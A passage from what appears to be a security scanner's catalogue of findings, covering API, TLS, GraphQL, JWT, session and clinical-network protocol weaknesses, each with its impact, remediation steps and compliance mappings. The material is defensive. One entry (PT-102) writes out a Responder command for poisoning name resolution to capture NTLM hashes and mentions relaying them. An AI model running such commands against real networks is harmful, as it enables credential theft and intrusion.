Remediation: Serve event streams over HTTPS only.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
LOW SI-145 — gRPC Server Reflection Exposed
Description: The gRPC server has server reflection enabled and enumerates its full set of services and methods to any client.
Impact: Exposed reflection discloses the complete RPC API surface (services, methods, message schemas) to unauthenticated attackers, removing the need to obtain .proto files and accelerating targeted attacks against internal/unintended methods.
Remediation: Disable gRPC server reflection in production builds; distribute service definitions only to authorized clients.
Effort: Easy
OWASP API: API9:2023 Improper Inventory Management
MEDIUM SI-146 — Insecure gRPC Transport (Plaintext / No TLS)
Description: The gRPC endpoint accepted a plaintext (non-TLS) connection.
Impact: RPC traffic, including credentials and sensitive payloads, is transmitted in cleartext and can be intercepted or tampered with by a network attacker, enabling credential theft and request/response manipulation.
Remediation: Require TLS for all gRPC endpoints and reject plaintext connections.
Effort: Moderate
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-147 — Application Responses Identify Valid Accounts
Description: The login endpoint returns distinguishable responses (status codes, error messages, response bodies, or timing) for valid vs. invalid usernames. This enables an attacker to enumerate valid user accounts by observing differential responses to authentication attempts with different usernames.
Impact: An attacker can compile a list of valid user accounts, which can then be used for targeted brute-force attacks, credential stuffing, password spraying, or social engineering. Confirmed usernames dramatically reduce the search space for password attacks.
Remediation: Return identical responses (status code, body, headers, timing) for valid and invalid usernames. Use generic error messages like 'Invalid credentials'. Implement rate limiting and account lockout. Use constant-time comparison functions.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1110.001 (Credential Access)
NIST 800-53: IA-5, AC-7
PCI DSS 4: 8.2.1
LOW SI-148 — Timing-Based Username Enumeration
Description: The login endpoint shows a measurable timing difference between valid and invalid username submissions. Non-constant-time credential comparison or early-exit logic exposes a timing side-channel that can be exploited for username enumeration.
Impact: An attacker can enumerate valid usernames by measuring response latency, even when error messages are generic. Statistical analysis of timing data can reliably distinguish valid from invalid accounts across multiple samples.
Remediation: Use constant-time comparison functions for credential checks. Hash all credentials before comparison regardless of user existence. Introduce artificial jitter to normalize response times.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
NIST 800-53: IA-5
MEDIUM SI-149 — Improper Input Validation Results in Server Error
Description: An API endpoint returns a 500-series HTTP status code when sent malformed or unexpected input. This indicates the server does not properly validate inputs before processing, allowing unhandled exceptions to propagate to the client. The error response may expose stack traces, internal paths, or framework details.
Impact: Server errors caused by invalid input reveal that the application lacks input validation, potentially exposing information about internal architecture. Repeated 500 errors can also indicate denial-of-service attack vectors through malformed requests.
Remediation: Validate all inputs before processing. Return 400/422 with a structured error response instead of allowing unhandled exceptions. Implement a global exception handler that logs details server-side and returns generic errors to clients.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
LOW SI-150 — Information Disclosure: Internal Hostname in API Response
Description: API response headers or body contain internal hostnames (e.g., *.local, *.internal, *.corp). Internal hostnames reveal network topology, naming conventions, and infrastructure details that should not be exposed to external consumers.
Impact: Leaked internal hostnames enable targeted SSRF attacks, DNS rebinding, and internal service enumeration. Knowing internal naming conventions helps attackers craft more effective social engineering and spear-phishing campaigns.
Remediation: Strip internal hostnames from response headers and error messages. Use a reverse proxy that rewrites backend identifiers. Configure application frameworks to suppress internal names in production.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1018 (Discovery)
NIST 800-53: SC-8
HIGH SI-151 — JWT Scope/Claim Manipulation Accepted
Description: The server accepted a JWT with modified scope, role, or permission claims without rejecting the tampered token. This indicates the server does not independently validate JWT claims against the authorization database, allowing privilege escalation through token manipulation.
Impact: An attacker can escalate privileges by modifying JWT claims (scope, role, permissions) to gain administrative or higher-privilege access. This bypasses authorization controls entirely, granting access to sensitive data and destructive operations.
Remediation: Validate all JWT claims server-side against the authorization database. Never trust client-provided scope/role claims. Use signed, opaque tokens or verify claim integrity with asymmetric signatures.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP API: API1:2023 Broken Object Level Authorization
MITRE ATT&CK: T1548 (Privilege Escalation)
NIST 800-53: AC-6, AC-3
PCI DSS 4: 7.2.1
LOW SI-152 — Excessive API Session Timeout
Description: API bearer tokens remain valid after extended periods of inactivity. The tested token was still accepted by the server after the configured check interval (default: 30 minutes). Excessive session timeouts increase the window for token theft and replay attacks.
Impact: Long-lived sessions give attackers more time to exploit stolen credentials. If a token is captured via XSS, MITM, or log file exposure, the attacker has a wider window to access the API before the token naturally expires.
Remediation: Set token expiration to 15-30 minutes for sensitive APIs. Use refresh token rotation for longer-lived sessions. Implement idle timeout detection server-side.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
NIST 800-53: AC-12
PCI DSS 4: 8.2.8
MEDIUM SI-153 — Session Tokens Remain Valid After Logout
Description: Cookie-based session tokens remain valid after calling the logout endpoint. The session cookie can be replayed against protected resources and continues to grant access, indicating the server does not invalidate the server-side session record on logout.
Impact: An attacker who captures a user's session cookie (via XSS, network sniffing, or shared workstation) can continue accessing the application even after the user logs out, as the session token remains valid server-side.
Remediation: Invalidate server-side session records on logout. Clear session cookies and rotate session IDs. Implement session binding to prevent token reuse after logout.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.004 (Lateral Movement)
NIST 800-53: AC-12, IA-5
PCI DSS 4: 8.2.3
MEDIUM SI-154 — Unhandled Application Exception
Description: An API response contains stack traces, exception class names, debug output, or SQL error messages. This typically occurs on 500-series responses but can also appear in 200 responses with JSON error payloads. The disclosure reveals internal implementation details.
Impact: Exception details expose framework versions, file paths, database schemas, and internal logic that attackers use to craft targeted exploits. SQL error messages specifically reveal database type and schema structure for injection attacks.
Remediation: Implement a global exception handler that returns a generic error message to clients. Log full stack traces server-side only. Disable debug mode and detailed error pages in production.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: SI-11
PCI DSS 4: 6.2.4
MEDIUM SI-155 — JWT Token Contains Personally Identifiable Information
Description: JWT access token payload contains personally identifiable information (PII) such as email, phone number, or address. JWTs are base64-encoded (not encrypted), so any party that intercepts or extracts the token can read PII directly.
Impact: An attacker who obtains the JWT (from browser storage, server logs, Referer headers, or MITM) gains access to the user's personal data without needing to call any additional API endpoint. This violates data minimization principles (GDPR Art. 5).
Remediation: Remove PII from JWT payloads. Use opaque tokens or encrypted JWTs (JWE) when personal data must travel with the token. Store user details server-side and look them up by subject claim.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1528 (Credential Access)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 3.4.1
HIGH SI-156 — Bearer Token Transmitted in URL Query Parameter
Description: Authentication tokens (access_token, bearer, jwt) are transmitted in URL query parameters rather than in headers or cookies.
Impact: Tokens in URLs leak via HTTP Referer headers to third-party sites, appear in server access logs, proxy logs, browser history, and any URL-sharing mechanism. An attacker accessing any of these can hijack the user's session.
Remediation: Transmit authentication tokens in the Authorization header or as HttpOnly cookies. Never pass tokens in URL query parameters.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identity and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1528 (Credential Access)
NIST 800-53: SC-8
HIGH SI-157 — Information Disclosure: API Key in URL Query Parameter
Description: API keys are transmitted in URL query parameters (api_key, apiKey, client_secret, etc.) rather than in headers.
Impact: API keys in URLs leak via Referer headers, server access logs, proxy logs, and browser history. An attacker with a leaked API key gains the same API access level as the legitimate client.
Remediation: Transmit API keys in a custom header (e.g. X-API-Key) or the Authorization header. Avoid URL query parameters for secrets.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: SC-8
HIGH SI-158 — Session Token Not Rotated After Authentication
Description: The session cookie retains the same value before and after authentication. An attacker who sets a pre-authentication session cookie can hijack the victim's authenticated session.
Impact: An attacker can set a known session token in the victim's browser (via XSS, subdomain cookie injection, or URL parameter) before the victim logs in. After login, the session token remains the same, giving the attacker a fully authenticated session.
Remediation: Regenerate the session ID on every privilege-level change (login, logout, role escalation). Invalidate the old session immediately.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identity and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1563 (Lateral Movement)
NIST 800-53: AC-12, SC-23
PCI DSS 4: 6.2.4
MEDIUM SI-159 — CORS Allows Null Origin
Description: The API reflects 'null' as an allowed CORS origin. Sandboxed iframes, data: URIs, and local files send Origin: null, allowing an attacker to craft pages that read cross-origin API responses.
Impact: An attacker can create a sandboxed iframe that sends Origin: null, which the server accepts. If credentials are allowed, the attacker can read authenticated API responses, extracting user data and tokens.
Remediation: Never whitelist 'null' as an allowed origin. Use an explicit allowlist of trusted origins for CORS.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: AC-4
LOW SI-160 — GraphQL Field Name Suggestions Enabled
Description: The GraphQL server returns 'Did you mean ...?' suggestions in error responses for misspelled field names, enabling schema reconstruction even when introspection is disabled.
Impact: Attackers can use automated tools (Clairvoyance, graphql-cop) to systematically reconstruct the full schema from error-message suggestions, bypassing introspection restrictions.
Remediation: Disable field suggestions in production. In Apollo Server: set validationRules to NoSchemaIntrospectionCustomRule and disable suggestions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-161 — GraphQL Batching Enabled Without Limit
Description: The GraphQL endpoint accepts batched queries (array of operations) in a single request without enforcing a batch size limit.
Impact: Attackers can bypass per-request rate limits by batching hundreds of queries (e.g., login mutations for credential stuffing) into a single HTTP request, evading IP-based throttling.
Remediation: Disable batching or enforce a maximum batch size (e.g. 5). Count each batched query against the per-user rate limit.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-162 — GraphQL Alias-Based Rate Limit Bypass
Description: The GraphQL endpoint resolves multiple aliased copies of the same field in a single request, allowing attackers to multiply resolver executions and bypass per-request rate limits.
Impact: An attacker can send a single HTTP request with 100+ aliased resolver calls (e.g., 100 login mutations with different credentials), bypassing IP-based rate limits that count HTTP requests, not GraphQL operations.
Remediation: Count each alias as a separate operation for rate-limiting. Implement query complexity scoring that accounts for aliases.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-163 — Information Disclosure: OAuth Token via Endpoint
Description: The OAuth token info/introspection endpoint returns token metadata (scope, audience, user identity) to any bearer of the token without requiring client authentication.
Impact: An attacker with a leaked or stolen token can query the token info endpoint to discover the token's scope, audience, and associated user identity, enabling targeted privilege escalation.
Remediation: Restrict token info endpoints to authenticated clients only. Require client_id + client_secret for introspection requests per RFC 7662.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API2:2023 Broken Authentication
NIST 800-53: AC-3
MEDIUM SI-164 — Postman Collection or Environment File Exposed
Description: Postman collection or environment files are publicly accessible. Collections expose full API endpoint inventory with example requests; environment files may contain API keys, tokens, and secrets.
Impact: An attacker gains a complete API endpoint map with example requests, parameters, and potentially authentication tokens from the Postman environment file, enabling targeted API attacks.
Remediation: Remove Postman collection and environment files from public web paths. Never deploy development/testing files to production servers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
INFO SI-165 — Rate Limit Headers Expose Throttling Configuration
Description: API responses include rate-limiting headers (X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset) that reveal exact throttling thresholds.
Impact: An attacker can read the rate limit, remaining quota, and reset window to precisely calibrate brute-force attacks to stay just under the limit, making detection harder.
Remediation: Evaluate whether rate limit headers are necessary in production. If kept, combine with exponential backoff enforcement and account lockout.
Effort: Easy
OWASP API: API4:2023 Unrestricted Resource Consumption
LOW SI-166 — API Version Header Manipulation Yields Different Response
Description: The API accepts version negotiation headers (X-API-Version, Accept-Version, Api-Version) and returns different responses for different version values, indicating deprecated or beta versions may be accessible.
Impact: An attacker can access deprecated API versions that may have weaker security controls, missing authentication checks, or known vulnerabilities that were fixed in newer versions.
Remediation: Restrict API version negotiation. Disable access to deprecated API versions in production. Return 400 for unrecognized version headers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
INFO SI-167 — Web Endpoint Discovered (Katana)
Description: Katana web crawler discovered accessible web paths, JavaScript-referenced endpoints, and linked resources on the target application. Katana performs headless or passive crawling to enumerate the full reachable surface of a web application, including dynamically generated links.
Impact: Discovered endpoints expand the known attack surface for further API and web security testing. Hidden or undocumented paths may expose administrative interfaces, debug endpoints, or sensitive functionality not intended for public access.
Remediation: Review all discovered endpoints for unintended exposure. Remove or restrict access to administrative, debug, and development endpoints in production. Implement proper access controls on all discovered paths.
Effort: Moderate
CVSS Vector: N/A
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1595.002 (Reconnaissance)
NIST 800-53: CM-8
MEDIUM SI-170 — SSL/TLS Forward Secrecy: Not Supported
Description: The API endpoint's TLS configuration does not offer forward secrecy. Cipher suites without ephemeral key exchange (ECDHE/DHE) leave all recorded API traffic vulnerable to retrospective decryption if the server's private key is later compromised.
Impact: API communications often carry authentication tokens, session data, and sensitive business payloads. Without forward secrecy, an attacker who captures encrypted API traffic and later obtains the private key can decrypt every recorded session retroactively.
Remediation: Configure the API server to use only cipher suites that provide forward secrecy (ECDHE or DHE key exchange). Disable static RSA key exchange. TLSv1.3 mandates forward secrecy and should be preferred.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
MEDIUM PT-001 — Hardcoded Public DNS Resolvers Bypass Enterprise Controls
Description: Device sends DNS queries directly to public resolvers (8.8.8.8, 1.1.1.1, etc.) instead of using the DHCP-supplied resolver, bypassing enterprise DNS filtering, sinkholing, anomaly detection and split-DNS.
Impact: Enterprise DNS controls are bypassed for the device's most security-relevant traffic. Security teams cannot detect or block the device contacting unexpected endpoints, cannot apply DNS-based egress restrictions, and cannot audit data-exfiltration patterns. Represents a HIPAA / SOC 2 logging control gap.
Remediation: Modify device firmware to use only the DHCP-supplied DNS resolver. Implement DoH/DoT. Provide deployment-time toggle for hospital IT to constrain the resolver.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A09:2021 Security Logging and Monitoring Failures
MITRE ATT&CK: T1071.004 (Command and Control)
NIST 800-53: SC-7, SC-20, AU-12
PCI DSS 4: 1.4.1, 10.2.1.1
LOW PT-002 — Cleartext DNS Exposes External Service Topology
Description: All DNS queries are sent over cleartext UDP/53. Any on-path observer can enumerate the full set of external services the device depends on.
Impact: An attacker who can passively observe device traffic learns the entire backend architecture without active probing — cloud-provider endpoints, push-notification dependencies, captive-portal probe destinations and SaaS services in use.
Remediation: Implement DNS-over-HTTPS (RFC 8484) or DNS-over-TLS (RFC 7858) on the device.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
MITRE ATT&CK: T1071.004 (Command and Control)
NIST 800-53: SC-8, SC-20
LOW PT-003 — Device Identity Leaked in TLS Client Certificate (mTLS)
Description: The device authenticates with a client X.509 certificate (mTLS). The certificate subject is sent in cleartext during the handshake and exposes identifying information (serial, model, vendor PKI topology).
Impact: Passive observers can extract the device's identity from the TLS handshake bytes without decrypting any application data. Privacy-relevant in clinical contexts where the presence of a particular medical device indicates the patient population being served.
Remediation: Use opaque per-device identifier (UUID) as the Subject CN. Move human-readable serial / model into a custom certificate extension or SubjectAltName otherName.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-12, SC-17, IA-5
LOW PT-004 — TLS ClientHello Offers Legacy CBC Cipher Suites
Description: The device's TLS ClientHello offers legacy CBC-mode cipher suites alongside modern AEAD ciphers. While AEAD is typically negotiated, the CBC offer preserves a downgrade surface.
Impact: CBC suites are vulnerable to historical attacks (BEAST, Lucky13, POODLE-variants) when paired with TLS 1.0/1.1. In TLS 1.2 with correct implementation the practical exploit cost is high but the offer is unnecessary given AEAD alternatives are universally supported by every modern endpoint.
Remediation: Remove CBC cipher suites from the device's TLS ClientHello offer list. Keep only AEAD: TLS 1.3 (0x1301/02/03) and TLS 1.2 ECDHE-AEAD (0xc02c/2b/30/2f).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-13, SC-8
MEDIUM PT-005 — DHCP Hostname Discloses Asset Identifier
Description: The device populates DHCP option 12 (Host Name) with an asset identifier (serial number, device tag) that is broadcast on every DHCP DISCOVER/REQUEST.
Impact: Any host on the broadcast domain can passively map the device's MAC and IP to the broadcast asset tag — vendor, model and serial are derivable without sending a single packet. Combined with mDNS reflection this is reflected across L3 boundaries.
Remediation: Replace DHCP Host Name with an opaque per-device identifier (UUID or salted hash). The true serial should only travel inside the encrypted device-to-cloud channel.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 Broken Access Control
NIST 800-53: SC-7, PE-20, PL-8
MEDIUM PT-006 — DNS Search-Suffix Appended to Fully-Qualified Hostnames
Description: The device's DNS client appends the DHCP-supplied search domain to hostnames that are already fully-qualified. RFC 1535 and RFC 8767 require resolvers not to apply search-suffix processing to FQDNs.
Impact: An attacker controlling the search-suffix DNS zone can redirect the device's cloud traffic to attacker-controlled IPs. TLS server certificate validation usually catches the substitution, but the failure mode leaks connection metadata on every retry. If cert pinning is incorrectly implemented, the substitution succeeds.
Remediation: Patch device DNS client so hostnames with three or more labels (or trailing dot) bypass search-domain processing. Set 'ndots' threshold to 1.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A04:2021 Insecure Design
NIST 800-53: SC-20, SI-10
HIGH PT-101 — SMBv1 Traffic Observed (EternalBlue / NotPetya exposure)
Description: SMBv1 protocol traffic observed between the device and one or more internal peers. SMBv1 is deprecated since 2014 and is the transport for EternalBlue (MS17-010) / WannaCry / NotPetya.
Impact: Active SMBv1 on a clinical network creates a worm propagation path. Disable per FDA Postmarket Cybersecurity Guidance and Joint Commission EHR-protection expectations.
Remediation: Disable SMBv1 on every host. Confirm SMB2+ minimum on file servers. Block 445/tcp at segmentation boundary.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: CM-7, SI-2
CISA KEV
HIGH PT-102 — LLMNR / NBT-NS Name Resolution in Use (Responder Surface)
Description: LLMNR or NetBIOS Name Service broadcast-based name resolution is in use on the segment. These protocols are abused by Responder / Inveigh to poison name resolution and capture NTLMv2 hashes.
Impact: An attacker on the same broadcast domain runs `responder -I eth0` and captures hashes from any device that mistypes a hostname or uses a non-FQDN lookup. Hashes are crackable offline or relayed via ntlmrelayx for immediate authentication elsewhere (CVE-2019-1040 mitigations notwithstanding).
Remediation: Disable LLMNR (GPO: Turn Off Multicast Name Resolution = Enabled) and NBT-NS (Network adapter → WINS → Disable NetBIOS over TCP/IP). Block UDP/5355 and UDP/137 at every L3 boundary.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-7, CM-7, IA-3
LOW PT-103 — SSDP / UPnP Broadcasts Expose Internal Services
Description: SSDP/UPnP discovery traffic observed on the segment. SSDP advertises every UPnP-aware device (smart TVs, consumer routers, printers, NAS, IoT) on the local broadcast domain.
Impact: SSDP discovery reveals consumer-IoT, printers, smart TVs, NAS and router admin interfaces to anyone on the LAN. In a clinical network this co-mingles consumer devices with medical equipment and facilitates lateral discovery.
Remediation: Disable UPnP/SSDP on clinical-network hosts where not required. Block UDP/1900 at every L3 boundary.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
NIST 800-53: CM-7, SC-7
LOW PT-104 — mDNS Activity Exposes Device Identity on Internal Segment
Description: Device emits mDNS queries and/or responses on the local segment. mDNS exposes the device's hostname and services to any host on the multicast-reachable segment, and is reflected across L3 by mDNS-reflector-enabled gateways.
Impact: Device fingerprinting and asset enumeration without active probing. Reduces the cost of targeting a specific device for theft, social-engineering, or RF replay attack.
Remediation: Disable mDNS on the device if not required. Audit network-side mDNS reflector config (Avahi `reflector=yes`, UniFi 'Multicast DNS') and disable cross-VLAN reflection.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
NIST 800-53: CM-7
LOW PT-105 — LLDP Topology / Switch Firmware Disclosure
Description: LLDP TLVs observed on the segment leak switch identity, model and firmware. Information that downstream attackers can use to select vendor-specific CVEs.
Impact: An attacker passively learns the network gear vendor, model and firmware version without sending any probes. Combined with public CVE databases this is a free vulnerability-research head-start.
Remediation: Disable LLDP on access ports facing devices (`no lldp transmit` / `no lldp receive`). Keep LLDP only on inter-switch trunks.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 Broken Access Control
NIST 800-53: SC-7, CM-7
MEDIUM PT-106 — ARP Anomalies (Duplicate IP-to-MAC Mappings)
Description: Duplicate ARP entries observed — one IP advertised by multiple MAC addresses. Possible legitimate HA pair, gratuitous ARP storm, or active ARP-spoofing / MitM.
Impact: If the duplicate is a MitM attack, the attacker is intercepting traffic between the device and another host. Even when legitimate (HA failover), the unannounced duplicate breaks deterministic L2 routing and may drop packets.
Remediation: Investigate each duplicate. Configure DAI (Dynamic ARP Inspection) on managed switches. Bind static IP↔MAC for critical clinical-device subnets.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1557.002 (Credential Access)
NIST 800-53: SC-7, SI-4
HIGH PT-107 — Cleartext FTP Traffic Observed (credentials in plaintext)
Description: FTP control-channel traffic observed in cleartext. FTP USER/PASS commands and file contents are passively captureable by any on-path observer.
Impact: Any L2 / SPAN / WiFi-sniffing attacker can capture FTP credentials and uploaded/downloaded file content. In a clinical setting this may include device firmware, calibration data, or PHI.
Remediation: Disable FTP. Use SFTP (SSH) or FTPS (FTP over TLS, explicit AUTH TLS). Block 21/tcp at segmentation boundary.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, SC-13
HIGH PT-108 — Cleartext Telnet Traffic Observed
Description: Telnet traffic observed in cleartext. Telnet credentials and keystrokes are sent in plaintext and trivially captured by passive observers.
Impact: Full session capture — usernames, passwords and every keystroke are recoverable from a passive sniff. Common on legacy embedded and industrial-control devices.
Remediation: Replace Telnet with SSH. Block 23/tcp at every L3 boundary.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, CM-7
MEDIUM PT-109 — SNMPv1/v2c Community String in Cleartext
Description: SNMP community strings (passwords) observed in plaintext. Communities like 'public' / 'private' / vendor-default values grant MIB-table read access (or write if RW).
Impact: SNMP community strings are passwords. An attacker capturing them can read MIB data (interface stats, ARP tables, routing tables) and with a write community can reconfigure the device.
Remediation: Migrate to SNMPv3 with authentication (SHA) + encryption (AES). Disable SNMPv1/v2c. Restrict SNMP source IPs at the device.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, AC-3
HIGH PT-110 — HTTP Basic Authentication Observed in Cleartext
Description: HTTP Basic Auth headers observed in cleartext. Authorization: Basic <base64> is one base64-decode step away from username:password.
Impact: Basic Auth credentials are base64-encoded usernames+passwords. Any passive observer can decode them in one step (`base64 -d`). Often reused across many systems.
Remediation: Wrap the affected service in TLS (HTTPS) or replace Basic Auth with token/cookie-based scheme over TLS. Block plain HTTP on authenticated admin endpoints.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, IA-5
MEDIUM PT-111 — LDAP Bind Observed Without TLS
Description: LDAP bind request observed in cleartext. Without LDAPS or StartTLS, the bind DN and password are exposed.
Impact: An attacker capturing the bind can extract the LDAP credentials. Domain-bound accounts are reusable across the AD forest and may unlock additional services (Kerberos, file shares, mail, VPN).
Remediation: Enforce LDAPS (TCP/636) or LDAP+StartTLS. Block plain LDAP (389/tcp) at the firewall.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, IA-5